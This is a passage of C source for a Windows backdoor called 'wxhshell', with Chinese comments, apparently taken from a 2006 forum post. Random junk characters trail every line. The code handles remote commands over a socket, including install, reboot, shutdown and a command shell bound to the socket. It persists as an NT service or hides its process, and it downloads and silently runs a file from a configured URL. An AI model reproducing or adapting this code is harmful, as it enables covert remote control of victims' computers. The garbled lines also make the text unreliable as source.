    switch(cmd[0]) { :*ing  
  0y 7"SiFY  
  // 帮助 -BRc8 /  
  case '?': { bSfpbo4(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6|aKL[%6  
    break; jGXO\:s O  
  } ofPHmh`  
  // 安装 S0~2{ G"v  
  case 'i': { =U#dJ^4P  
    if(Install()) CK,7^U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _d"b;4l  
    else ^HV>`Pjd}=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (eCJ;%%k  
    break; !n* +(lZ  
    } 9Wnn'T@Tl  
  // 卸载 b%<9Sn   
  case 'r': { DB-l$rj  
    if(Uninstall()) lDOCmdt@N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :p]'32FA!  
    else gCioq.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lz YEx  
    break; o_@4Sl8  
    } n#q<`}u,  
  // 显示 wxhshell 所在路径 *pAV2V(!23  
  case 'p': { u+'tfFds&  
    char svExeFile[MAX_PATH]; IPgt|if^  
    strcpy(svExeFile,"\n\r"); D}dn.$  
      strcat(svExeFile,ExeFile); iVB86XZ`  
        send(wsh,svExeFile,strlen(svExeFile),0); wF|fK4F  
    break; NWM8[dI  
    } V n*  
  // 重启 xnmmXtk  
  case 'b': { jp0<pw_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pQshUm"_  
    if(Boot(REBOOT)) S `#w+C#EW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -j73Wz  
    else { G]+&!4  
    closesocket(wsh); k`0>36  
    ExitThread(0); A%`[mc]4#  
    } k\WR  ]  
    break; 1#.>a$>  
    } Z @^9PQG$  
  // 关机 J3n-`k8  
  case 'd': { wQe_vY  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Pa~)"u 8  
    if(Boot(SHUTDOWN)) ~(Q)"s\1I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :^kZ.6Q@  
    else { ^r*r w=  
    closesocket(wsh); +)y^ 'Qs  
    ExitThread(0); { jhr<  
    } VY~yg*  
    break; kKAP"'v  
    } GH+r ?2<  
  // 获取shell e6d<dXx  
  case 's': { tS|(K=$  
    CmdShell(wsh); T(t+ iv  
    closesocket(wsh); '7+4`E  
    ExitThread(0); lEhk'/~  
    break; 95YL]3V  
  } {5F-5YL+>  
  // 退出 KO]T<R h<  
  case 'x': { " f "6]y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w,h`s.AN  
    CloseIt(wsh); Cq'KoN%nQ  
    break; cFeXpj?GV  
    } 8>0e*jC  
  // 离开 '=Rs/EDME  
  case 'q': { <4P4u*/o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t0IEaj75c  
    closesocket(wsh); &Rvm>TC=  
    WSACleanup(); CbwJd5tk  
    exit(1); 5*1D$mxD"  
    break; O+]Ifm[  
        }  CCL   
  } rNB_W.  
  } K?BOvDW"`  
3+@<lVew6  
  // 提示信息 P*I}yPeb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jV4\A  
} hJZV}a|  
  } ~zJ?H<>  
H[S%J3JI  
  return; b)=[1g/=L  
} P@9t;dZN  
R )mu2 ^  
// shell模块句柄 4A_[PM  
int CmdShell(SOCKET sock) @JyK|.b#0  
{ _Em.  
STARTUPINFO si; )?X-(4  
ZeroMemory(&si,sizeof(si)); S/4^ d &Gr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YbTxn="_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; px}|Mu7z~  
PROCESS_INFORMATION ProcessInfo; Yy)tmq  
char cmdline[]="cmd"; Ry%Mej:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A^)?Wt%*  
  return 0; i 7x7xtq  
} (]Y 5eM  
|j#C|V%kV  
// 自身启动模式 SjwyLc  
int StartFromService(void) .HkL2m  
{ a2 Y;xe  
typedef struct `bZ/haU}A  
{ G0^2Wk[  
  DWORD ExitStatus; Y#u}tE d  
  DWORD PebBaseAddress; QlO0qbG[y  
  DWORD AffinityMask; "a8j"lPJ  
  DWORD BasePriority; a hR ^  
  ULONG UniqueProcessId; S"OR%  
  ULONG InheritedFromUniqueProcessId; L1Iz<>  
}   PROCESS_BASIC_INFORMATION; Gu2P\I2zx  
l zYnw)Pv  
PROCNTQSIP NtQueryInformationProcess; 9hOJvQ2U]  
iVy7elT;R  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P DrZY.-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?q; Fp  
rzh#CnL3  
  HANDLE             hProcess; ^xij{W`|  
  PROCESS_BASIC_INFORMATION pbi; z#]Jv!~EPE  
X_$Cb<e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RV5n,J  
  if(NULL == hInst ) return 0; -5I2ga  
b+f'[;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 34d3g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &8]d }-e  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); JWMpPzs  
7tcPwCc{  
  if (!NtQueryInformationProcess) return 0; %=/)  
BI $   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  Fl1;;F  
  if(!hProcess) return 0; 't6V:X  
^V#@QPK9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hA33K #bC  
7D!u1?]d{  
  CloseHandle(hProcess); >]W)'lnO  
Er+nk`UR_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K00 87}H  
if(hProcess==NULL) return 0; Zxbo^W[[  
<K8\n^i~c  
HMODULE hMod; DM}YJ  
char procName[255]; 'rr^2d]`ST  
unsigned long cbNeeded; Um: Hrjw  
OnK~3j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jSwf*u  
aEWWFN  
  CloseHandle(hProcess); DBT&DS  
[&nh5 |f  
if(strstr(procName,"services")) return 1; // 以服务启动 LWHd~"eU  
"V$Bnz\n  
  return 0; // 注册表启动 |jVM&R2s  
} l?Fb ='#  
Fm # w2o  
// 主模块 ^ 8@Iyh  
int StartWxhshell(LPSTR lpCmdLine) sRrzp=D  
{ hYM@?/(q  
  SOCKET wsl; <]b7ZF]  
BOOL val=TRUE; * ;Cy=J+  
  int port=0; sH?/E6  
  struct sockaddr_in door; k:#P|z$UD  
DNj "SF(J  
  if(wscfg.ws_autoins) Install(); ]f_6 '|5 A  
9> g,  
port=atoi(lpCmdLine); W"k8KODOY  
Ce")[<:  
if(port<=0) port=wscfg.ws_port; 6'RrQc=q  
gF5a5T,  
  WSADATA data; Tp9- niW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |)K]U  
h?FmBK'BAd  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   L[20m (6?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); NbGV1q']  
  door.sin_family = AF_INET; LJ(1RK GCz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); A^2Uzmzl?  
  door.sin_port = htons(port); &g~ wS@  
KhW;RD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }GZ}Q5  
closesocket(wsl); `p7&> BOA  
return 1; K%Rj8J7|u?  
} SY^dWLf  
rJ!{/3e  
  if(listen(wsl,2) == INVALID_SOCKET) { NM6Teu_  
closesocket(wsl); =pk)3<GwF  
return 1; zKsz*xv6b  
} v !FMs<  
  Wxhshell(wsl); {s_+?<l  
  WSACleanup(); 8-Hsgf.*  
)"m!YuS Y  
return 0; l $jxLZ  
m~D&gGFt  
} nYt/U\n!  
a /:@"&Y  
// 以NT服务方式启动 bgK<pi)d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |-CnT:|o  
{ "/nNM{^  
DWORD   status = 0; !E-Pa5s  
  DWORD   specificError = 0xfffffff; 3^Q]j^e4Ny  
UD)e:G[Gat  
  serviceStatus.dwServiceType     = SERVICE_WIN32; PGARXw+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  ^_%kE%I  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j* *s^Sg  
  serviceStatus.dwWin32ExitCode     = 0; vUnRi=:|  
  serviceStatus.dwServiceSpecificExitCode = 0; !QT'L,_  
  serviceStatus.dwCheckPoint       = 0; `r_m+]  
  serviceStatus.dwWaitHint       = 0; k~|-gf FP  
D Kw*~0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j$7Xs"  
  if (hServiceStatusHandle==0) return; F|HJH"2*&q  
6O22P?v  
status = GetLastError(); \J6hI\/4^  
  if (status!=NO_ERROR) &V<W>Y>|l*  
{ 7oR:1DX w|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Cb_oS4vM  
    serviceStatus.dwCheckPoint       = 0; \AC|?/sH  
    serviceStatus.dwWaitHint       = 0; brZ sA Q+k  
    serviceStatus.dwWin32ExitCode     = status; S#-tOj U*  
    serviceStatus.dwServiceSpecificExitCode = specificError; F5 ]C{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z-B%'/.  
    return; v*qQ? S  
  } q;:6_Qr  
B: \Uw|Mf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }=2;  
  serviceStatus.dwCheckPoint       = 0; 7rC uu*M  
  serviceStatus.dwWaitHint       = 0; PDLpNTBf  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {h KjD"?  
} ?9X&tK)E-  
ne>g?"Pex{  
// 处理NT服务事件,比如:启动、停止 LjH*rjS4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) i"j(b|?e  
{ pW]4bx@E  
switch(fdwControl) gXH[$guf  
{ kGUJ9Du  
case SERVICE_CONTROL_STOP: vw)7 !/#  
  serviceStatus.dwWin32ExitCode = 0; u?[ q=0.J7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3F#+~^2  
  serviceStatus.dwCheckPoint   = 0; \bx~*FaX  
  serviceStatus.dwWaitHint     = 0; 3s>'hn  
  { "z*:'8;E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?~QIALA  
  } U5]pi+r  
  return; t nS+5F  
case SERVICE_CONTROL_PAUSE: _7D_72  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4TwQO$C  
  break; cFagz* !  
case SERVICE_CONTROL_CONTINUE: TbehR:B5g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j2P n<0U  
  break; 1'4J[S\cM  
case SERVICE_CONTROL_INTERROGATE: =5s F"L;b  
  break; %G@5!|J  
}; \Yoa:|%*y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sIl33kmv  
} |Cdvfk  
Kwhdu<6  
// 标准应用程序主函数 {R^'=(YFy  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $oLU; q%  
{ %ObD2)s6:^  
3[XQR8o  
// 获取操作系统版本 h)v^q: ='  
OsIsNt=GetOsVer(); Oc&),ru2l  
GetModuleFileName(NULL,ExeFile,MAX_PATH); v[lnw} =m9  
&-1./?  
  // 从命令行安装 @wq#>bm  
  if(strpbrk(lpCmdLine,"iI")) Install(); e0;  
|fHB[ W#  
  // 下载执行文件 >bUj *#<  
if(wscfg.ws_downexe) { - /c7n F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %k0EpJE%  
  WinExec(wscfg.ws_filenam,SW_HIDE); dS`Bk6 Y  
} X[W]=yJJ  
{$M;H+Foh  
if(!OsIsNt) { )n=ARDd^e  
// 如果时win9x,隐藏进程并且设置为注册表启动 GPWr>B.{:S  
HideProc(); U4Nh  
StartWxhshell(lpCmdLine); AA:no=  
} 7);:ZpDv%L  
else *g;-H&`  
  if(StartFromService()) `Vq`z]}  
  // 以服务方式启动 LihjGkj\g  
  StartServiceCtrlDispatcher(DispatchTable); (H?ZSeWx  
else Z7jX9e"L  
  // 普通方式启动 o;[bJ Z\^x  
  StartWxhshell(lpCmdLine); [k]|Qi nk  
nVD Xj  
return 0; Yn9j-`  
}
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只看该作者 1 发表于: 2006-10-10
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